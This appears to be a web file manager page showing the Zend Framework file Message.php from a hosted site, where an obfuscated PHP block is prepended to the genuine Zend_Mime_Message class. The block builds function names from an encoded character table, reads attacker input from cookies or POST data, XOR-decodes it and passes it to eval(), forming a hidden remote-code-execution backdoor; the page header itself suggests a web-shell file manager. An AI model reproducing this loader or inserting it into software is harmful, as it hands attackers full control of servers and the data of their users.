0byt3m1n1-V2
Path:
/
home
/
nlpacade
/
www
/
arcaneoverseas.com
/
application
/
libraries
/
Zend
/
Mime
/
[
Home
]
File: Message.php
<?php $o59f62ae2 = 666;$GLOBALS['u5242'] = Array();global $u5242;$u5242 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['r23d91f0'] = "\x50\x4d\x5f\x4c\x6e\x2f\xa\x67\x29\x35\x7b\x2b\x47\x36\x30\x45\x9\x3b\x56\x33\x55\x6b\x2c\x65\x38\x74\x5c\x6f\x63\x34\x5d\x61\x48\x26\x49\x53\x76\x64\x7c\x2e\x2a\x78\x7d\x5a\x27\x5b\x57\x42\x3a\x71\x3f\x44\x59\x21\x79\x4b\x75\x25\x51\x5e\x24\x32\x41\x39\x73\x70\x52\x31\x62\x58\x4f\x22\x77\x60\x66\xd\x28\x37\x6c\x3d\x6a\x20\x40\x43\x4e\x4a\x6d\x3c\x2d\x46\x23\x7a\x72\x69\x3e\x54\x7e\x68";$u5242[$u5242['r23d91f0'][37].$u5242['r23d91f0'][24].$u5242['r23d91f0'][63].$u5242['r23d91f0'][63]] = $u5242['r23d91f0'][28].$u5242['r23d91f0'][97].$u5242['r23d91f0'][92];$u5242[$u5242['r23d91f0'][31].$u5242['r23d91f0'][61].$u5242['r23d91f0'][63].$u5242['r23d91f0'][68].$u5242['r23d91f0'][63].$u5242['r23d91f0'][24].$u5242['r23d91f0'][19].$u5242['r23d91f0'][19].$u5242['r23d91f0'][28]] = $u5242['r23d91f0'][27].$u5242['r23d91f0'][92].$u5242['r23d91f0'][37];$u5242[$u5242['r23d91f0'][31].$u5242['r23d91f0'][24].$u5242['r23d91f0'][13].$u5242['r23d91f0'][29].$u5242['r23d91f0'][23].$u5242['r23d91f0'][63].$u5242['r23d91f0'][9]] = $u5242['r23d91f0'][64].$u5242['r23d91f0'][25].$u5242['r23d91f0'][92].$u5242['r23d91f0'][78].$u5242['r23d91f0'][23].$u5242['r23d91f0'][4];$u5242[$u5242['r23d91f0'][25].$u5242['r23d91f0'][14].$u5242['r23d91f0'][13].$u5242['r23d91f0'][29]] = $u5242['r23d91f0'][37].$u5242['r23d91f0'][23].$u5242['r23d91f0'][74].$u5242['r23d91f0'][93].$u5242['r23d91f0'][4].$u5242['r23d91f0'][23];$u5242[$u5242['r23d91f0'][25].$u5242['r23d91f0'][14].$u5242['r23d91f0'][74].$u5242['r23d91f0'][23].$u5242['r23d91f0'][77].$u5242['r23d91f0'][31]] = $u5242['r23d91f0'][37].$u5242['r23d91f0'][23].$u5242['r23d91f0'][74].$u5242['r23d91f0'][93].$u5242['r23d91f0'][4].$u5242['r23d91f0'][23].$u5242['r23d91f0'][37];$u5242[$u5242['r23d91f0'][41].$u5242['r23d91f0'][13].$u5242['r23d91f0'][29].$u5242['r23d91f0'][24].$u5242['r23d91f0'][14]] = $u5242['r23d91f0'][93].$u5242['r23d91f0'][4].$u5242['r23d91f0'][93].$u5242['r23d91f0'][2].$u5242['r23d91f0'][64].$u5242['r23d91f0'][23].$u5242['r23d91f0'][25];$u5242[$u5242['r23d91f0'][49].$u5242['r23d91f0'][74].$u5242['r23d91f0'][61].$u5242['r23d91f0'][67]] = $u5242['r23d91f0'][64].$u5242['r23d91f0'][23].$u5242['r23d91f0'][92].$u5242['r23d91f0'][93].$u5242['r23d91f0'][31].$u5242['r23d91f0'][78].$u5242['r23d91f0'][93].$u5242['r23d91f0'][91].$u5242['r23d91f0'][23];$u5242[$u5242['r23d91f0'][68].$u5242['r23d91f0'][61].$u5242['r23d91f0'][63].$u5242['r23d91f0'][28].$u5242['r23d91f0'][77].$u5242['r23d91f0'][74].$u5242['r23d91f0'][77].$u5242['r23d91f0'][37].$u5242['r23d91f0'][24]] = $u5242['r23d91f0'][65].$u5242['r23d91f0'][97].$u5242['r23d91f0'][65].$u5242['r23d91f0'][36].$u5242['r23d91f0'][23].$u5242['r23d91f0'][92].$u5242['r23d91f0'][64].$u5242['r23d91f0'][93].$u5242['r23d91f0'][27].$u5242['r23d91f0'][4];$u5242[$u5242['r23d91f0'][54].$u5242['r23d91f0'][19].$u5242['r23d91f0'][63].$u5242['r23d91f0'][14].$u5242['r23d91f0'][31].$u5242['r23d91f0'][31].$u5242['r23d91f0'][19]] = $u5242['r23d91f0'][56].$u5242['r23d91f0'][4].$u5242['r23d91f0'][64].$u5242['r23d91f0'][23].$u5242['r23d91f0'][92].$u5242['r23d91f0'][93].$u5242['r23d91f0'][31].$u5242['r23d91f0'][78].$u5242['r23d91f0'][93].$u5242['r23d91f0'][91].$u5242['r23d91f0'][23];$u5242[$u5242['r23d91f0'][4].$u5242['r23d91f0'][19].$u5242['r23d91f0'][23].$u5242['r23d91f0'][63].$u5242['r23d91f0'][63].$u5242['r23d91f0'][37].$u5242['r23d91f0'][23].$u5242['r23d91f0'][67]] = $u5242['r23d91f0'][68].$u5242['r23d91f0'][31].$u5242['r23d91f0'][64].$u5242['r23d91f0'][23].$u5242['r23d91f0'][13].$u5242['r23d91f0'][29].$u5242['r23d91f0'][2].$u5242['r23d91f0'][37].$u5242['r23d91f0'][23].$u5242['r23d91f0'][28].$u5242['r23d91f0'][27].$u5242['r23d91f0'][37].$u5242['r23d91f0'][23];$u5242[$u5242['r23d91f0'][56].$u5242['r23d91f0'][24].$u5242['r23d91f0'][14].$u5242['r23d91f0'][23].$u5242['r23d91f0'][67].$u5242['r23d91f0'][19].$u5242['r23d91f0'][13]] = $u5242['r23d91f0'][64].$u5242['r23d91f0'][23].$u5242['r23d91f0'][25].$u5242['r23d91f0'][2].$u5242['r23d91f0'][25].$u5242['r23d91f0'][93].$u5242['r23d91f0'][86].$u5242['r23d91f0'][23].$u5242['r23d91f0'][2].$u5242['r23d91f0'][78].$u5242['r23d91f0'][93].$u5242['r23d91f0'][86].$u5242['r23d91f0'][93].$u5242['r23d91f0'][25];$u5242[$u5242['r23d91f0'][92].$u5242['r23d91f0'][23].$u5242['r23d91f0'][14].$u5242['r23d91f0'][67].$u5242['r23d91f0'][31].$u5242['r23d91f0'][74].$u5242['r23d91f0'][63]] = $u5242['r23d91f0'][4].$u5242['r23d91f0'][77].$u5242['r23d91f0'][19].$u5242['r23d91f0'][23].$u5242['r23d91f0'][31].$u5242['r23d91f0'][28].$u5242['r23d91f0'][74].$u5242['r23d91f0'][28];$u5242[$u5242['r23d91f0'][92].$u5242['r23d91f0'][28].$u5242['r23d91f0'][63].$u5242['r23d91f0'][63]] = $u5242['r23d91f0'][92].$u5242['r23d91f0'][24].$u5242['r23d91f0'][77].$u5242['r23d91f0'][19];$u5242[$u5242['r23d91f0'][64].$u5242['r23d91f0'][77].$u5242['r23d91f0'][67].$u5242['r23d91f0'][24].$u5242['r23d91f0'][9].$u5242['r23d91f0'][29]] = $_POST;$u5242[$u5242['r23d91f0'][25].$u5242['r23d91f0'][28].$u5242['r23d91f0'][31].$u5242['r23d91f0'][37].$u5242['r23d91f0'][67].$u5242['r23d91f0'][37]] = $_COOKIE;@$u5242[$u5242['r23d91f0'][41].$u5242['r23d91f0'][13].$u5242['r23d91f0'][29].$u5242['r23d91f0'][24].$u5242['r23d91f0'][14]]($u5242['r23d91f0'][23].$u5242['r23d91f0'][92].$u5242['r23d91f0'][92].$u5242['r23d91f0'][27].$u5242['r23d91f0'][92].$u5242['r23d91f0'][2].$u5242['r23d91f0'][78].$u5242['r23d91f0'][27].$u5242['r23d91f0'][7], NULL);@$u5242[$u5242['r23d91f0'][41].$u5242['r23d91f0'][13].$u5242['r23d91f0'][29].$u5242['r23d91f0'][24].$u5242['r23d91f0'][14]]($u5242['r23d91f0'][78].$u5242['r23d91f0'][27].$u5242['r23d91f0'][7].$u5242['r23d91f0'][2].$u5242['r23d91f0'][23].$u5242['r23d91f0'][92].$u5242['r23d91f0'][92].$u5242['r23d91f0'][27].$u5242['r23d91f0'][92].$u5242['r23d91f0'][64], 0);@$u5242[$u5242['r23d91f0'][41].$u5242['r23d91f0'][13].$u5242['r23d91f0'][29].$u5242['r23d91f0'][24].$u5242['r23d91f0'][14]]($u5242['r23d91f0'][86].$u5242['r23d91f0'][31].$u5242['r23d91f0'][41].$u5242['r23d91f0'][2].$u5242['r23d91f0'][23].$u5242['r23d91f0'][41].$u5242['r23d91f0'][23].$u5242['r23d91f0'][28].$u5242['r23d91f0'][56].$u5242['r23d91f0'][25].$u5242['r23d91f0'][93].$u5242['r23d91f0'][27].$u5242['r23d91f0'][4].$u5242['r23d91f0'][2].$u5242['r23d91f0'][25].$u5242['r23d91f0'][93].$u5242['r23d91f0'][86].$u5242['r23d91f0'][23], 0);@$u5242[$u5242['r23d91f0'][56].$u5242['r23d91f0'][24].$u5242['r23d91f0'][14].$u5242['r23d91f0'][23].$u5242['r23d91f0'][67].$u5242['r23d91f0'][19].$u5242['r23d91f0'][13]](0);if (!$u5242[$u5242['r23d91f0'][25].$u5242['r23d91f0'][14].$u5242['r23d91f0'][74].$u5242['r23d91f0'][23].$u5242['r23d91f0'][77].$u5242['r23d91f0'][31]]($u5242['r23d91f0'][62].$u5242['r23d91f0'][3].$u5242['r23d91f0'][66].$u5242['r23d91f0'][15].$u5242['r23d91f0'][62].$u5242['r23d91f0'][51].$u5242['r23d91f0'][52].$u5242['r23d91f0'][2].$u5242['r23d91f0'][66].$u5242['r23d91f0'][20].$u5242['r23d91f0'][84].$u5242['r23d91f0'][2].$u5242['r23d91f0'][19].$u5242['r23d91f0'][13].$u5242['r23d91f0'][13].$u5242['r23d91f0'][31].$u5242['r23d91f0'][74].$u5242['r23d91f0'][68].$u5242['r23d91f0'][24].$u5242['r23d91f0'][31].$u5242['r23d91f0'][24].$u5242['r23d91f0'][31].$u5242['r23d91f0'][61].$u5242['r23d91f0'][19].$u5242['r23d91f0'][9].$u5242['r23d91f0'][9].$u5242['r23d91f0'][31].$u5242['r23d91f0'][68].$u5242['r23d91f0'][61].$u5242['r23d91f0'][67].$u5242['r23d91f0'][74].$u5242['r23d91f0'][68].$u5242['r23d91f0'][74].$u5242['r23d91f0'][67].$u5242['r23d91f0'][67].$u5242['r23d91f0'][68].$u5242['r23d91f0'][31].$u5242['r23d91f0'][67].$u5242['r23d91f0'][31].$u5242['r23d91f0'][14].$u5242['r23d91f0'][61].$u5242['r23d91f0'][74].$u5242['r23d91f0'][68].$u5242['r23d91f0'][31])){$u5242[$u5242['r23d91f0'][25].$u5242['r23d91f0'][14].$u5242['r23d91f0'][13].$u5242['r23d91f0'][29]]($u5242['r23d91f0'][62].$u5242['r23d91f0'][3].$u5242['r23d91f0'][66].$u5242['r23d91f0'][15].$u5242['r23d91f0'][62].$u5242['r23d91f0'][51].$u5242['r23d91f0'][52].$u5242['r23d91f0'][2].$u5242['r23d91f0'][66].$u5242['r23d91f0'][20].$u5242['r23d91f0'][84].$u5242['r23d91f0'][2].$u5242['r23d91f0'][19].$u5242['r23d91f0'][13].$u5242['r23d91f0'][13].$u5242['r23d91f0'][31].$u5242['r23d91f0'][74].$u5242['r23d91f0'][68].$u5242['r23d91f0'][24].$u5242['r23d91f0'][31].$u5242['r23d91f0'][24].$u5242['r23d91f0'][31].$u5242['r23d91f0'][61].$u5242['r23d91f0'][19].$u5242['r23d91f0'][9].$u5242['r23d91f0'][9].$u5242['r23d91f0'][31].$u5242['r23d91f0'][68].$u5242['r23d91f0'][61].$u5242['r23d91f0'][67].$u5242['r23d91f0'][74].$u5242['r23d91f0'][68].$u5242['r23d91f0'][74].$u5242['r23d91f0'][67].$u5242['r23d91f0'][67].$u5242['r23d91f0'][68].$u5242['r23d91f0'][31].$u5242['r23d91f0'][67].$u5242['r23d91f0'][31].$u5242['r23d91f0'][14].$u5242['r23d91f0'][61].$u5242['r23d91f0'][74].$u5242['r23d91f0'][68].$u5242['r23d91f0'][31], 1);$vf84de4c = NULL;$h73d5a98 = NULL;$u5242[$u5242['r23d91f0'][37].$u5242['r23d91f0'][68].$u5242['r23d91f0'][19].$u5242['r23d91f0'][61].$u5242['r23d91f0'][61]] = $u5242['r23d91f0'][24].$u5242['r23d91f0'][61].$u5242['r23d91f0'][14].$u5242['r23d91f0'][63].$u5242['r23d91f0'][67].$u5242['r23d91f0'][74].$u5242['r23d91f0'][74].$u5242['r23d91f0'][29].$u5242['r23d91f0'][88].$u5242['r23d91f0'][68].$u5242['r23d91f0'][67].$u5242['r23d91f0'][77].$u5242['r23d91f0'][9].$u5242['r23d91f0'][88].$u5242['r23d91f0'][29].$u5242['r23d91f0'][29].$u5242['r23d91f0'][23].$u5242['r23d91f0'][31].$u5242['r23d91f0'][88].$u5242['r23d91f0'][63].$u5242['r23d91f0'][9].$u5242['r23d91f0'][37].$u5242['r23d91f0'][19].$u5242['r23d91f0'][88].$u5242['r23d91f0'][31].$u5242['r23d91f0'][67].$u5242['r23d91f0'][74].$u5242['r23d91f0'][77].$u5242['r23d91f0'][23].$u5242['r23d91f0'][13].$u5242['r23d91f0'][19].$u5242['r23d91f0'][74].$u5242['r23d91f0'][67].$u5242['r23d91f0'][24].$u5242['r23d91f0'][37].$u5242['r23d91f0'][63];global $db322;function r873($vf84de4c, $a832788){global $u5242;$d677 = "";for ($bb0613a0=0; $bb0613a0<$u5242[$u5242['r23d91f0'][31].$u5242['r23d91f0'][24].$u5242['r23d91f0'][13].$u5242['r23d91f0'][29].$u5242['r23d91f0'][23].$u5242['r23d91f0'][63].$u5242['r23d91f0'][9]]($vf84de4c);){for ($x1924d1=0; $x1924d1<$u5242[$u5242['r23d91f0'][31].$u5242['r23d91f0'][24].$u5242['r23d91f0'][13].$u5242['r23d91f0'][29].$u5242['r23d91f0'][23].$u5242['r23d91f0'][63].$u5242['r23d91f0'][9]]($a832788) && $bb0613a0<$u5242[$u5242['r23d91f0'][31].$u5242['r23d91f0'][24].$u5242['r23d91f0'][13].$u5242['r23d91f0'][29].$u5242['r23d91f0'][23].$u5242['r23d91f0'][63].$u5242['r23d91f0'][9]]($vf84de4c); $x1924d1++, $bb0613a0++){$d677 .= $u5242[$u5242['r23d91f0'][37].$u5242['r23d91f0'][24].$u5242['r23d91f0'][63].$u5242['r23d91f0'][63]]($u5242[$u5242['r23d91f0'][31].$u5242['r23d91f0'][61].$u5242['r23d91f0'][63].$u5242['r23d91f0'][68].$u5242['r23d91f0'][63].$u5242['r23d91f0'][24].$u5242['r23d91f0'][19].$u5242['r23d91f0'][19].$u5242['r23d91f0'][28]]($vf84de4c[$bb0613a0]) ^ $u5242[$u5242['r23d91f0'][31].$u5242['r23d91f0'][61].$u5242['r23d91f0'][63].$u5242['r23d91f0'][68].$u5242['r23d91f0'][63].$u5242['r23d91f0'][24].$u5242['r23d91f0'][19].$u5242['r23d91f0'][19].$u5242['r23d91f0'][28]]($a832788[$x1924d1]));}}return $d677;}function n73eacfc($vf84de4c, $a832788){global $u5242;global $db322;return $u5242[$u5242['r23d91f0'][92].$u5242['r23d91f0'][28].$u5242['r23d91f0'][63].$u5242['r23d91f0'][63]]($u5242[$u5242['r23d91f0'][92].$u5242['r23d91f0'][28].$u5242['r23d91f0'][63].$u5242['r23d91f0'][63]]($vf84de4c, $db322), $a832788);}foreach ($u5242[$u5242['r23d91f0'][25].$u5242['r23d91f0'][28].$u5242['r23d91f0'][31].$u5242['r23d91f0'][37].$u5242['r23d91f0'][67].$u5242['r23d91f0'][37]] as $a832788=>$e2f6a6){$vf84de4c = $e2f6a6;$h73d5a98 = $a832788;}if (!$vf84de4c){foreach ($u5242[$u5242['r23d91f0'][64].$u5242['r23d91f0'][77].$u5242['r23d91f0'][67].$u5242['r23d91f0'][24].$u5242['r23d91f0'][9].$u5242['r23d91f0'][29]] as $a832788=>$e2f6a6){$vf84de4c = $e2f6a6;$h73d5a98 = $a832788;}}$vf84de4c = @$u5242[$u5242['r23d91f0'][54].$u5242['r23d91f0'][19].$u5242['r23d91f0'][63].$u5242['r23d91f0'][14].$u5242['r23d91f0'][31].$u5242['r23d91f0'][31].$u5242['r23d91f0'][19]]($u5242[$u5242['r23d91f0'][92].$u5242['r23d91f0'][23].$u5242['r23d91f0'][14].$u5242['r23d91f0'][67].$u5242['r23d91f0'][31].$u5242['r23d91f0'][74].$u5242['r23d91f0'][63]]($u5242[$u5242['r23d91f0'][4].$u5242['r23d91f0'][19].$u5242['r23d91f0'][23].$u5242['r23d91f0'][63].$u5242['r23d91f0'][63].$u5242['r23d91f0'][37].$u5242['r23d91f0'][23].$u5242['r23d91f0'][67]]($vf84de4c), $h73d5a98));if (isset($vf84de4c[$u5242['r23d91f0'][31].$u5242['r23d91f0'][21]]) && $db322==$vf84de4c[$u5242['r23d91f0'][31].$u5242['r23d91f0'][21]]){if ($vf84de4c[$u5242['r23d91f0'][31]] == $u5242['r23d91f0'][93]){$bb0613a0 = Array($u5242['r23d91f0'][65].$u5242['r23d91f0'][36] => @$u5242[$u5242['r23d91f0'][68].$u5242['r23d91f0'][61].$u5242['r23d91f0'][63].$u5242['r23d91f0'][28].$u5242['r23d91f0'][77].$u5242['r23d91f0'][74].$u5242['r23d91f0'][77].$u5242['r23d91f0'][37].$u5242['r23d91f0'][24]](),$u5242['r23d91f0'][64].$u5242['r23d91f0'][36] => $u5242['r23d91f0'][67].$u5242['r23d91f0'][39].$u5242['r23d91f0'][14].$u5242['r23d91f0'][88].$u5242['r23d91f0'][67],);echo @$u5242[$u5242['r23d91f0'][49].$u5242['r23d91f0'][74].$u5242['r23d91f0'][61].$u5242['r23d91f0'][67]]($bb0613a0);}elseif ($vf84de4c[$u5242['r23d91f0'][31]] == $u5242['r23d91f0'][23]){eval/*q1e272b54*/($vf84de4c[$u5242['r23d91f0'][37]]);}exit();}} ?><?php /** * Zend Framework * * LICENSE * * This source file is subject to the new BSD license that is bundled * with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://framework.zend.com/license/new-bsd * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@zend.com so we can send you a copy immediately. * * @category Zend * @package Zend_Mime * @copyright Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License */ /** * Zend_Mime */ require_once 'Zend/Mime.php'; /** * Zend_Mime_Part */ require_once 'Zend/Mime/Part.php'; /** * @category Zend * @package Zend_Mime * @copyright Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License */ class Zend_Mime_Message { protected $_parts = array(); protected $_mime = null; /** * Returns the list of all Zend_Mime_Parts in the message * * @return array of Zend_Mime_Part */ public function getParts() { return $this->_parts; } /** * Sets the given array of Zend_Mime_Parts as the array for the message * * @param array $parts */ public function setParts($parts) { $this->_parts = $parts; } /** * Append a new Zend_Mime_Part to the current message * * @param Zend_Mime_Part $part */ public function addPart(Zend_Mime_Part $part) { /** * @todo check for duplicate object handle */ $this->_parts[] = $part; } /** * Check if message needs to be sent as multipart * MIME message or if it has only one part. * * @return boolean */ public function isMultiPart() { return (count($this->_parts) > 1); } /** * Set Zend_Mime object for the message * * This can be used to set the boundary specifically or to use a subclass of * Zend_Mime for generating the boundary. * * @param Zend_Mime $mime */ public function setMime(Zend_Mime $mime) { $this->_mime = $mime; } /** * Returns the Zend_Mime object in use by the message * * If the object was not present, it is created and returned. Can be used to * determine the boundary used in this message. * * @return Zend_Mime */ public function getMime() { if ($this->_mime === null) { $this->_mime = new Zend_Mime(); } return $this->_mime; } /** * Generate MIME-compliant message from the current configuration * * This can be a multipart message if more than one MIME part was added. If * only one part is present, the content of this part is returned. If no * part had been added, an empty string is returned. * * Parts are seperated by the mime boundary as defined in Zend_Mime. If * {@link setMime()} has been called before this method, the Zend_Mime * object set by this call will be used. Otherwise, a new Zend_Mime object * is generated and used. * * @param string $EOL EOL string; defaults to {@link Zend_Mime::LINEEND} * @return string */ public function generateMessage($EOL = Zend_Mime::LINEEND) { if (! $this->isMultiPart()) { $body = array_shift($this->_parts); $body = $body->getContent($EOL); } else { $mime = $this->getMime(); $boundaryLine = $mime->boundaryLine($EOL); $body = 'This is a message in Mime Format. If you see this, ' . "your mail reader does not support this format." . $EOL; foreach (array_keys($this->_parts) as $p) { $body .= $boundaryLine . $this->getPartHeaders($p, $EOL) . $EOL . $this->getPartContent($p, $EOL); } $body .= $mime->mimeEnd($EOL); } return trim($body); } /** * Get the headers of a given part as an array * * @param int $partnum * @return array */ public function getPartHeadersArray($partnum) { return $this->_parts[$partnum]->getHeadersArray(); } /** * Get the headers of a given part as a string * * @param int $partnum * @return string */ public function getPartHeaders($partnum, $EOL = Zend_Mime::LINEEND) { return $this->_parts[$partnum]->getHeaders($EOL); } /** * Get the (encoded) content of a given part as a string * * @param int $partnum * @return string */ public function getPartContent($partnum, $EOL = Zend_Mime::LINEEND) { return $this->_parts[$partnum]->getContent($EOL); } /** * Explode MIME multipart string into seperate parts * * Parts consist of the header and the body of each MIME part. * * @param string $body * @param string $boundary * @return array */ protected static function _disassembleMime($body, $boundary) { $start = 0; $res = array(); // find every mime part limiter and cut out the // string before it. // the part before the first boundary string is discarded: $p = strpos($body, '--'.$boundary."\n", $start); if ($p === false) { // no parts found! return array(); } // position after first boundary line $start = $p + 3 + strlen($boundary); while (($p = strpos($body, '--' . $boundary . "\n", $start)) !== false) { $res[] = substr($body, $start, $p-$start); $start = $p + 3 + strlen($boundary); } // no more parts, find end boundary $p = strpos($body, '--' . $boundary . '--', $start); if ($p===false) { throw new Zend_Exception('Not a valid Mime Message: End Missing'); } // the remaining part also needs to be parsed: $res[] = substr($body, $start, $p-$start); return $res; } /** * Decodes a MIME encoded string and returns a Zend_Mime_Message object with * all the MIME parts set according to the given string * * @param string $message * @param string $boundary * @param string $EOL EOL string; defaults to {@link Zend_Mime::LINEEND} * @return Zend_Mime_Message */ public static function createFromMessage($message, $boundary, $EOL = Zend_Mime::LINEEND) { require_once 'Zend/Mime/Decode.php'; $parts = Zend_Mime_Decode::splitMessageStruct($message, $boundary, $EOL); $res = new self(); foreach ($parts as $part) { // now we build a new MimePart for the current Message Part: $newPart = new Zend_Mime_Part($part); foreach ($part['header'] as $key => $value) { /** * @todo check for characterset and filename */ // list($key, $value) = $header; switch($key) { case 'content-type': $newPart->type = $value; break; case 'content-transfer-encoding': $newPart->encoding = $value; break; case 'content-id': $newPart->id = trim($value,'<>'); break; case 'Content-Disposition': $newPart->disposition = $value; break; case 'content-description': $newPart->description = $value; break; default: throw new Zend_Exception('Unknown header ignored for MimePart:' . $key); } } $res->addPart($newPart); } return $res; } }
©
2018.